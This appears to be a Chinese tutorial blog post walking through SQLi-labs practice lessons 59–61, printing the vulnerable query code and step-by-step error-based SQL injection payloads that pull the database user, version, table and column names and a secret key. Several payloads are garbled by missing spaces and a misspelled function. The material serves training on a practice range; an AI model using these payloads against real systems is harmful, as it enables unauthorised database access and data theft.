WEB常见漏洞之SQL注入(靶场篇—4)3

简介: WEB常见漏洞之SQL注入(靶场篇—4)

Lesson-59

该题为数字型get型注入,利用方式包括报错注入、布尔盲注、时间盲注

id=1'

目标SQL语句如下:

if($_POST['reset']):

 setcookie('challenge',' ',time()-3600000);

else:

  if($_COOKIE['challenge']):

     $sessid=$_COOKIE['challenge'];

  else:

     $expire =time()+60*60*24*30;

$hash =data($table,$col);

setcookie("challenge", $hash, $expire);

if($_GET['id']):

  $id=$_GET['id'];

  next_tryy()>=($times+1)

  $sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";

iftrue:

     $unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");

$pass = array_reverse($unames);

  输出查询信息;

else:

  print_r(mysql_error());

注意:该题与Lesson58的利用方式相同,只不过拼接方式由单引号转为了数字

使用报错注入判断注入点

id=1--+

查询基础信息

id=1and(selectcount(*)from information_schema.tablesgroupby concat((selectuser()),0x7e,floor(rand(0)*2)))--+

id=1and(selectcount(*)from information_schema.tablesgroupby concat((select version()),0x7e,floor(rand(0)*2)))--+

id=1and(selectcount(*)from information_schema.tablesgroupby concat((select databse()),0x7e,floor(rand(0)*2)))--+

查询表名

id=1and(selectcount(*)from information_schema.tablesgroupby concat((selecttable_namefrom information_schema.tableswhere table_schema=database()limit0,1),0x7e,floor(rand(0)*2)))--+

查询列名

id=1and(selectcount(*)from information_schema.tablesgroupby concat((select column_name from information_schema.columnswheretable_name='x1qk033kut'limit2,1),0x7e,floor(rand(0)*2)))--+

查询关键信息

id=1and(selectcount(*)from information_schema.tablesgroupby concat((select secret_9MWT from x1qk033kut limit0,1),0x7e,floor(rand(0)*2)))--+

成功拿到 key 值:LtSOIKqX4EC5zCPwOzc6NFS7

需要注意的是每次表名和列名都会不同,及时修改可以查询到具体信息

Lesson-60

该题为单括号双引号get型注入,利用方式包括报错注入、布尔盲注、时间盲注

id=1'

目标SQL语句如下:

if($_POST['reset']):

 setcookie('challenge',' ',time()-3600000);

else:

  if($_COOKIE['challenge']):

     $sessid=$_COOKIE['challenge'];

  else:

     $expire =time()+60*60*24*30;

$hash =data($table,$col);

setcookie("challenge", $hash, $expire);

if($_GET['id']):

  $id=$_GET['id'];

  $id ='("'.$id.'")';

  next_tryy()>=($times+1)

  $sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";

iftrue:

     $unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");

$pass = array_reverse($unames);

  输出查询信息;

else:

  print_r(mysql_error());

注意:该题与Lesson58的利用方式相同,只不过拼接方式由单引号转为了单括号双引号

使用报错注入判断注入点

id=1")--+

查询基础信息

id=1") and (select count(*) from information_schema.tables group by concat((select user()),0x7e,floor(rand(0)*2)))--+

id=1 and (select count(*) from information_schema.tables group by concat((select version()),0x7e,floor(rand(0)*2)))--+

id=1 and (select count(*) from information_schema.tables group by concat((select databse()),0x7e,floor(rand(0)*2)))--+

查询表名

id=1") and (select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2)))--+

查询列名

id=1") and (select count(*) from information_schema.tables group by concat((select column_name from information_schema.columns where table_name='bc8q88rlor' limit 2,1),0x7e,floor(rand(0)*2)))--+

查询关键信息

id=1") and (select count(*) from information_schema.tables group by concat((select secret_DAAH from bc8q88rlor limit 0,1),0x7e,floor(rand(0)*2)))--+

成功拿到 key 值:O8c2mJWO68hDxl7cAPYNpElM

需要注意的是每次表名和列名都会不同,及时修改可以查询到具体信息

Lesson-61

该题为双括号单引号get型注入,利用方式包括报错注入、布尔盲注、时间盲注

id=1'

目标SQL语句如下:

if($_POST['reset']):

 setcookie('challenge',' ',time()-3600000);

else:

  if($_COOKIE['challenge']):

     $sessid=$_COOKIE['challenge'];

  else:

     $expire =time()+60*60*24*30;

$hash =data($table,$col);

setcookie("challenge", $hash, $expire);

if($_GET['id']):

  $id=$_GET['id'];

  next_tryy()>=($times+1)

  $sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";

iftrue:

     $unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");

$pass = array_reverse($unames);

  输出查询信息;

else:

  print_r(mysql_error());

注意:该题与Lesson58的利用方式相同,只不过拼接方式由单引号转为了双括号单引号

使用报错注入判断注入点

id=1'))--+

查询基础信息

id=1')) and (select count(*) from information_schema.tables group by concat((select user()),0x7e,floor(rand(0)*2)))--+

id=1'))and(selectcount(*)from information_schema.tablesgroupby concat((select version()),0x7e,floor(rand(0)*2)))--+

id=1')) and (select count(*) from information_schema.tables group by concat((select databse()),0x7e,floor(rand(0)*2)))--+

查询表名

id=1')) and (select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2)))--+

查询列名

id=1')) and (select count(*) from information_schema.tables group by concat((select column_name from information_schema.columns where table_name='upre7krqfg' limit 2,1),0x7e,floor(rand(0)*2)))--+

查询关键信息

id=1')) and (select count(*) from information_schema.tables group by concat((select secret_EX6I from upre7krqfg limit 0,1),0x7e,floor(rand(0)*2)))--+

成功拿到 key 值:6lB7uSQQDKE96ZNcXEDiREHG

需要注意的是每次表名和列名都会不同,及时修改可以查询到具体信息

目录
相关文章
|
消息中间件 存储 分布式计算
【Flume】Flume配置文件详细分析
【4月更文挑战第4天】【Flume】Flume配置文件详细分析
Kali 换源(国内优质镜像源地址)2023最新
Kali 换源(国内优质镜像源地址)2023最新
6155 0
|
5月前
|
人工智能 机器人 物联网
提高商店客流量的智能设备选型指南:从客流分析到数字化运营
实体零售面临客流下滑与运营瓶颈,亟需从“坐商”转向“数据驱动+主动引流”。本文系统解析六大类智能设备技术架构,涵盖客流分析、智能引流、智慧收银、导视系统、数据中台与氛围营造,结合不同业态痛点提供选型策略与实施路径,助力门店实现数字化升级与效率跃迁。
|
3月前
|
前端开发 JavaScript 应用服务中间件
手把手教你给项目配 HTTPS(Nginx 实战教程,前端 + 后端)
本文章中你既能收获"为什么",也会收获"怎么做"。
739 5
手把手教你给项目配 HTTPS(Nginx 实战教程,前端 + 后端)
|
2月前
|
人工智能 弹性计算 安全
Hermes Agent安装保姆级教程:共3中方法,大家任选,总有一种方法适合你!
阿里云提供三种零代码部署Hermes Agent(爱马仕)方案:轻量应用服务器(低至38元/年)、无影云电脑(支持微信接入)和ECS(免费)。该开源AI智能体具备自我进化能力,5美元服务器即可运行,新手友好,2026年AI Agent之争未定,但部署已极简。
|
4月前
|
人工智能 安全 机器人
OpenClaw+GLM 5.0实战攻略:无缝接入飞书+3000+Skill资源一键解锁
随着AI智能体技术的迭代,OpenClaw(原Clawdbot)已从单纯的工具型AI升级为全场景自动化平台。2026年最新版OpenClaw搭配智谱GLM 5.0大模型,凭借200k超长上下文、超强推理能力,再结合阿里云稳定的云端部署环境,能轻松实现公众号创作、邮件管理、数据分析等复杂任务自动化。
3289 1
|
9月前
|
存储 JavaScript 安全
Web渗透-XSS漏洞深入及xss-labs靶场实战
XSS(跨站脚本攻击)是常见的Web安全漏洞,通过在网页中注入恶意脚本,窃取用户信息或执行非法操作。本文介绍其原理、分类(反射型、存储型、DOM型)、测试方法及xss-labs靶场实战案例,帮助理解与防御XSS攻击。
2817 1
Web渗透-XSS漏洞深入及xss-labs靶场实战
|
存储 算法 Linux
【看表情包学Linux】进程优先级 | 查看系统进程 | 优先级修改 | 进程的切换 | 竞争性与独立性 | 并行并发的概念 | 环境变量
【看表情包学Linux】进程优先级 | 查看系统进程 | 优先级修改 | 进程的切换 | 竞争性与独立性 | 并行并发的概念 | 环境变量
316 0
|
存储 安全 JavaScript
XSS--概念、类型、实战--分析与详解[pikachu]
XSS--概念、类型、实战--分析与详解[pikachu]
2047 0